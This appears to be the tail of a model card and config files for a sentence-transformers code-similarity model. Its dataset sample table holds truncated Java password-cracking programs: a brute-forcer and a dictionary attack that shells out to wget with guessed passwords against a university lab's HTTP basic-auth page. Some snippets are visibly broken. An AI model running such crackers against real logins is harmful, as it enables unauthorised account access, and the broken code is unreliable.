| <code>0</code> | <code><br>import java.util.*;<br><br><br>public class Cracker<br>{<br> private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private Vector v;<br><br> public Cracker()<br> {<br> v = new Vector( 52);<br> }<br> public void loadLetters()<br> {<br> int i;<br><br> for( i = 0; i < letters.length; i++)<br> {<br> String s = new StringBuffer().append( letters[i]).toString();<br> v.add( s);<br> }<br> }<br> public Vector getVictor()<br> {<br> return ;<br> }<br> public void loadPairs()<br> {<br> int i,j;<br><br> for( i = 0; i < letters.length - 1; i++)<br> {<br> for( j = i + 1; j < letters.length; j++)<br> {<br> String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();<br> String s2 = new StringBuffer().append( letters[j]).append( letters[i])....</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> |
|
847 |
+
| <code>0</code> | <code><br><br>import java.io.*;<br>import java.*;<br>import java.util.StringTokenizer;<br><br>public class Dictionary<br>{<br> public static void main(String args[])<br> {<br> final String DICT_FILE = "/usr/share/lib/dict/words"; <br> String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/"; <br> String password;<br> String s = null;<br> int num_tries = 0;<br> <br> try<br> {<br> <br> BufferedReader dict_word = new BufferedReader<br> (new FileReader (DICT_FILE));<br> <br> <br> while((password = dict_word.readLine())!= null)<br> { <br> try <br> {<br> <br> Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);<br> <br> BufferedReader stdInput = new BufferedReader(new <br> InputStreamReader(p.getInputStream()));<br><br> BufferedReader stdError = new BufferedReader(new <br> InputStreamReader(p.g...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> |
|
848 |
+
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)
|
849 |
+
|
850 |
+
### Training Hyperparameters
|
851 |
+
#### Non-Default Hyperparameters
|
852 |
+
|
853 |
+
- `per_device_train_batch_size`: 32
|
854 |
+
- `num_train_epochs`: 2
|
855 |
+
|
856 |
+
#### All Hyperparameters
|
857 |
+
<details><summary>Click to expand</summary>
|
858 |
+
|
859 |
+
- `overwrite_output_dir`: False
|
860 |
+
- `do_predict`: False
|
861 |
+
- `eval_strategy`: no
|
862 |
+
- `prediction_loss_only`: True
|
863 |
+
- `per_device_train_batch_size`: 32
|
864 |
+
- `per_device_eval_batch_size`: 8
|
865 |
+
- `per_gpu_train_batch_size`: None
|
866 |
+
- `per_gpu_eval_batch_size`: None
|
867 |
+
- `gradient_accumulation_steps`: 1
|
868 |
+
- `eval_accumulation_steps`: None
|
869 |
+
- `torch_empty_cache_steps`: None
|
870 |
+
- `learning_rate`: 5e-05
|
871 |
+
- `weight_decay`: 0.0
|
872 |
+
- `adam_beta1`: 0.9
|
873 |
+
- `adam_beta2`: 0.999
|
874 |
+
- `adam_epsilon`: 1e-08
|
875 |
+
- `max_grad_norm`: 1.0
|
876 |
+
- `num_train_epochs`: 2
|
877 |
+
- `max_steps`: -1
|
878 |
+
- `lr_scheduler_type`: linear
|
879 |
+
- `lr_scheduler_kwargs`: {}
|
880 |
+
- `warmup_ratio`: 0.0
|
881 |
+
- `warmup_steps`: 0
|
882 |
+
- `log_level`: passive
|
883 |
+
- `log_level_replica`: warning
|
884 |
+
- `log_on_each_node`: True
|
885 |
+
- `logging_nan_inf_filter`: True
|
886 |
+
- `save_safetensors`: True
|
887 |
+
- `save_on_each_node`: False
|
888 |
+
- `save_only_model`: False
|
889 |
+
- `restore_callback_states_from_checkpoint`: False
|
890 |
+
- `no_cuda`: False
|
891 |
+
- `use_cpu`: False
|
892 |
+
- `use_mps_device`: False
|
893 |
+
- `seed`: 42
|
894 |
+
- `data_seed`: None
|
895 |
+
- `jit_mode_eval`: False
|
896 |
+
- `use_ipex`: False
|
897 |
+
- `bf16`: False
|
898 |
+
- `fp16`: False
|
899 |
+
- `fp16_opt_level`: O1
|
900 |
+
- `half_precision_backend`: auto
|
901 |
+
- `bf16_full_eval`: False
|
902 |
+
- `fp16_full_eval`: False
|
903 |
+
- `tf32`: None
|
904 |
+
- `local_rank`: 0
|
905 |
+
- `ddp_backend`: None
|
906 |
+
- `tpu_num_cores`: None
|
907 |
+
- `tpu_metrics_debug`: False
|
908 |
+
- `debug`: []
|
909 |
+
- `dataloader_drop_last`: False
|
910 |
+
- `dataloader_num_workers`: 0
|
911 |
+
- `dataloader_prefetch_factor`: None
|
912 |
+
- `past_index`: -1
|
913 |
+
- `disable_tqdm`: False
|
914 |
+
- `remove_unused_columns`: True
|
915 |
+
- `label_names`: None
|
916 |
+
- `load_best_model_at_end`: False
|
917 |
+
- `ignore_data_skip`: False
|
918 |
+
- `fsdp`: []
|
919 |
+
- `fsdp_min_num_params`: 0
|
920 |
+
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
|
921 |
+
- `fsdp_transformer_layer_cls_to_wrap`: None
|
922 |
+
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
|
923 |
+
- `deepspeed`: None
|
924 |
+
- `label_smoothing_factor`: 0.0
|
925 |
+
- `optim`: adamw_torch
|
926 |
+
- `optim_args`: None
|
927 |
+
- `adafactor`: False
|
928 |
+
- `group_by_length`: False
|
929 |
+
- `length_column_name`: length
|
930 |
+
- `ddp_find_unused_parameters`: None
|
931 |
+
- `ddp_bucket_cap_mb`: None
|
932 |
+
- `ddp_broadcast_buffers`: False
|
933 |
+
- `dataloader_pin_memory`: True
|
934 |
+
- `dataloader_persistent_workers`: False
|
935 |
+
- `skip_memory_metrics`: True
|
936 |
+
- `use_legacy_prediction_loop`: False
|
937 |
+
- `push_to_hub`: False
|
938 |
+
- `resume_from_checkpoint`: None
|
939 |
+
- `hub_model_id`: None
|
940 |
+
- `hub_strategy`: every_save
|
941 |
+
- `hub_private_repo`: None
|
942 |
+
- `hub_always_push`: False
|
943 |
+
- `gradient_checkpointing`: False
|
944 |
+
- `gradient_checkpointing_kwargs`: None
|
945 |
+
- `include_inputs_for_metrics`: False
|
946 |
+
- `include_for_metrics`: []
|
947 |
+
- `eval_do_concat_batches`: True
|
948 |
+
- `fp16_backend`: auto
|
949 |
+
- `push_to_hub_model_id`: None
|
950 |
+
- `push_to_hub_organization`: None
|
951 |
+
- `mp_parameters`:
|
952 |
+
- `auto_find_batch_size`: False
|
953 |
+
- `full_determinism`: False
|
954 |
+
- `torchdynamo`: None
|
955 |
+
- `ray_scope`: last
|
956 |
+
- `ddp_timeout`: 1800
|
957 |
+
- `torch_compile`: False
|
958 |
+
- `torch_compile_backend`: None
|
959 |
+
- `torch_compile_mode`: None
|
960 |
+
- `include_tokens_per_second`: False
|
961 |
+
- `include_num_input_tokens_seen`: False
|
962 |
+
- `neftune_noise_alpha`: None
|
963 |
+
- `optim_target_modules`: None
|
964 |
+
- `batch_eval_metrics`: False
|
965 |
+
- `eval_on_start`: False
|
966 |
+
- `use_liger_kernel`: False
|
967 |
+
- `eval_use_gather_object`: False
|
968 |
+
- `average_tokens_across_devices`: False
|
969 |
+
- `prompts`: None
|
970 |
+
- `batch_sampler`: batch_sampler
|
971 |
+
- `multi_dataset_batch_sampler`: proportional
|
972 |
+
|
973 |
+
</details>
|
974 |
+
|
975 |
+
### Training Logs
|
976 |
+
| Epoch | Step | Training Loss |
|
977 |
+
|:------:|:----:|:-------------:|
|
978 |
+
| 0.4785 | 500 | 0.0175 |
|
979 |
+
| 0.9569 | 1000 | 0.012 |
|
980 |
+
| 1.4354 | 1500 | 0.0098 |
|
981 |
+
| 1.9139 | 2000 | 0.0037 |
|
982 |
+
|
983 |
+
|
984 |
+
### Framework Versions
|
985 |
+
- Python: 3.11.11
|
986 |
+
- Sentence Transformers: 4.1.0
|
987 |
+
- Transformers: 4.52.4
|
988 |
+
- PyTorch: 2.8.0.dev20250319+cu128
|
989 |
+
- Accelerate: 1.7.0
|
990 |
+
- Datasets: 3.6.0
|
991 |
+
- Tokenizers: 0.21.1
|
992 |
+
|
993 |
+
## Citation
|
994 |
+
|
995 |
+
### BibTeX
|
996 |
+
|
997 |
+
#### Sentence Transformers and SoftmaxLoss
|
998 |
+
```bibtex
|
999 |
+
@inproceedings{reimers-2019-sentence-bert,
|
1000 |
+
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
|
1001 |
+
author = "Reimers, Nils and Gurevych, Iryna",
|
1002 |
+
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
|
1003 |
+
month = "11",
|
1004 |
+
year = "2019",
|
1005 |
+
publisher = "Association for Computational Linguistics",
|
1006 |
+
url = "https://arxiv.org/abs/1908.10084",
|
1007 |
+
}
|
1008 |
+
```
|
1009 |
+
|
1010 |
+
<!--
|
1011 |
+
## Glossary
|
1012 |
+
|
1013 |
+
*Clearly define terms in order to be accessible across audiences.*
|
1014 |
+
-->
|
1015 |
+
|
1016 |
+
<!--
|
1017 |
+
## Model Card Authors
|
1018 |
+
|
1019 |
+
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
|
1020 |
+
-->
|
1021 |
+
|
1022 |
+
<!--
|
1023 |
+
## Model Card Contact
|
1024 |
+
|
1025 |
+
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
|
1026 |
+
-->
|
config.json
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"architectures": [
|
3 |
+
"RobertaModel"
|
4 |
+
],
|
5 |
+
"attention_probs_dropout_prob": 0.1,
|
6 |
+
"bos_token_id": 0,
|
7 |
+
"classifier_dropout": null,
|
8 |
+
"eos_token_id": 2,
|
9 |
+
"gradient_checkpointing": false,
|
10 |
+
"hidden_act": "gelu",
|
11 |
+
"hidden_dropout_prob": 0.1,
|
12 |
+
"hidden_size": 768,
|
13 |
+
"initializer_range": 0.02,
|
14 |
+
"intermediate_size": 3072,
|
15 |
+
"layer_norm_eps": 1e-05,
|
16 |
+
"max_position_embeddings": 1026,
|
17 |
+
"model_type": "roberta",
|
18 |
+
"num_attention_heads": 12,
|
19 |
+
"num_hidden_layers": 12,
|
20 |
+
"output_past": true,
|
21 |
+
"pad_token_id": 1,
|
22 |
+
"position_embedding_type": "absolute",
|
23 |
+
"torch_dtype": "float32",
|
24 |
+
"transformers_version": "4.52.4",
|
25 |
+
"type_vocab_size": 10,
|
26 |
+
"use_cache": true,
|
27 |
+
"vocab_size": 50000
|
28 |
+
}
|
config_sentence_transformers.json
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"__version__": {
|
3 |
+
"sentence_transformers": "4.1.0",
|
4 |
+
"transformers": "4.52.4",
|
5 |
+
"pytorch": "2.8.0.dev20250319+cu128"
|
6 |
+
},
|
7 |
+
"prompts": {},
|
8 |
+
"default_prompt_name": null,
|
9 |
+
"similarity_fn_name": "cosine"
|
10 |
+
}
|
merges.txt
ADDED
The diff for this file is too large to render.
See raw diff
|
|
model.safetensors
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:d6694d44b1a099a9588d60b9e9ed6a8ca63fc27850b90699d8694336c61020e2
|
3 |
+
size 499391344
|
modules.json
ADDED
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
[
|
2 |
+
{
|
3 |
+
"idx": 0,
|
4 |
+
"name": "0",
|
5 |
+
"path": "",
|
6 |
+
"type": "sentence_transformers.models.Transformer"
|
7 |
+
},
|
8 |
+
{
|
9 |
+
"idx": 1,
|
10 |
+
"name": "1",
|
11 |
+
"path": "1_Pooling",
|
12 |
+
"type": "sentence_transformers.models.Pooling"
|
13 |
+
}
|
14 |
+
]
|
sentence_bert_config.json
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"max_seq_length": 512,
|
3 |
+
"do_lower_case": false
|
4 |
+
}
|
special_tokens_map.json
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"bos_token": {
|
3 |
+
"content": "<s>",
|
4 |
+
"lstrip": false,
|
5 |
+
"normalized": true,
|
6 |
+
"rstrip": false,
|
7 |
+
"single_word": false
|
8 |
+
},
|
9 |
+
"cls_token": {
|
10 |
+
"content": "<s>",
|
11 |
+
"lstrip": false,
|
12 |
+
"normalized": true,
|
13 |
+
"rstrip": false,
|
14 |
+
"single_word": false
|
15 |
+
},
|
16 |
+
"eos_token": {
|
17 |
+
"content": "</s>",
|
18 |
+
"lstrip": false,
|
19 |
+
"normalized": true,
|
20 |
+
"rstrip": false,
|
21 |
+
"single_word": false
|
22 |
+
},
|
23 |
+
"mask_token": {
|
24 |
+
"content": "<mask>",
|
25 |
+
"lstrip": true,
|
26 |
+
"normalized": true,
|
27 |
+
"rstrip": false,
|
28 |
+
"single_word": false
|
29 |
+
},
|
30 |
+
"pad_token": {
|
31 |
+
"content": "<pad>",
|
32 |
+
"lstrip": false,
|
33 |
+
"normalized": true,
|
34 |
+
"rstrip": false,
|
35 |
+
"single_word": false
|
36 |
+
},
|
37 |
+
"sep_token": {
|
38 |
+
"content": "</s>",
|
39 |
+
"lstrip": false,
|
40 |
+
"normalized": true,
|
41 |
+
"rstrip": false,
|
42 |
+
"single_word": false
|
43 |
+
},
|
44 |
+
"unk_token": {
|
45 |
+
"content": "<unk>",
|
46 |
+
"lstrip": false,
|
47 |
+
"normalized": true,
|
48 |
+
"rstrip": false,
|
49 |
+
"single_word": false
|
50 |
+
}
|
51 |
+
}
|
tokenizer.json
ADDED
The diff for this file is too large to render.
See raw diff
|
|
tokenizer_config.json
ADDED
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"add_prefix_space": false,
|
3 |
+
"added_tokens_decoder": {
|
4 |
+
"0": {
|
5 |
+
"content": "<s>",
|
6 |
+
"lstrip": false,
|
7 |
+
"normalized": true,
|
8 |
+
"rstrip": false,
|
9 |
+
"single_word": false,
|
10 |
+
"special": true
|
11 |
+
},
|
12 |
+
"1": {
|
13 |
+
"content": "<pad>",
|
14 |
+
"lstrip": false,
|
15 |
+
"normalized": true,
|
16 |
+
"rstrip": false,
|
17 |
+
"single_word": false,
|
18 |
+
"special": true
|
19 |
+
},
|
20 |
+
"2": {
|
21 |
+
"content": "</s>",
|
22 |
+
"lstrip": false,
|
23 |
+
"normalized": true,
|
24 |
+
"rstrip": false,
|
25 |
+
"single_word": false,
|
26 |
+
"special": true
|
27 |
+
},
|
28 |
+
"3": {
|
29 |
+
"content": "<unk>",
|
30 |
+
"lstrip": false,
|
31 |
+
"normalized": true,
|
32 |
+
"rstrip": false,
|
33 |
+
"single_word": false,
|
34 |
+
"special": true
|
35 |
+
},
|
36 |
+
"4": {
|
37 |
+
"content": "<mask>",
|
38 |
+
"lstrip": true,
|
39 |
+
"normalized": true,
|
40 |
+
"rstrip": false,
|
41 |
+
"single_word": false,
|
42 |
+
"special": true
|
43 |
+
}
|
44 |
+
},
|
45 |
+
"bos_token": "<s>",
|
46 |
+
"clean_up_tokenization_spaces": false,
|
47 |
+
"cls_token": "<s>",
|
48 |
+
"eos_token": "</s>",
|
49 |
+
"errors": "replace",
|
50 |
+
"extra_special_tokens": {},
|
51 |
+
"mask_token": "<mask>",
|
52 |
+
"model_max_length": 1000000000000000019884624838656,
|
53 |
+
"pad_token": "<pad>",
|
54 |
+
"sep_token": "</s>",
|
55 |
+
"tokenizer_class": "RobertaTokenizer",
|
56 |
+
"trim_offsets": true,
|
57 |
+
"unk_token": "<unk>"
|
58 |
+
}
|
vocab.json
ADDED
The diff for this file is too large to render.
See raw diff
|
|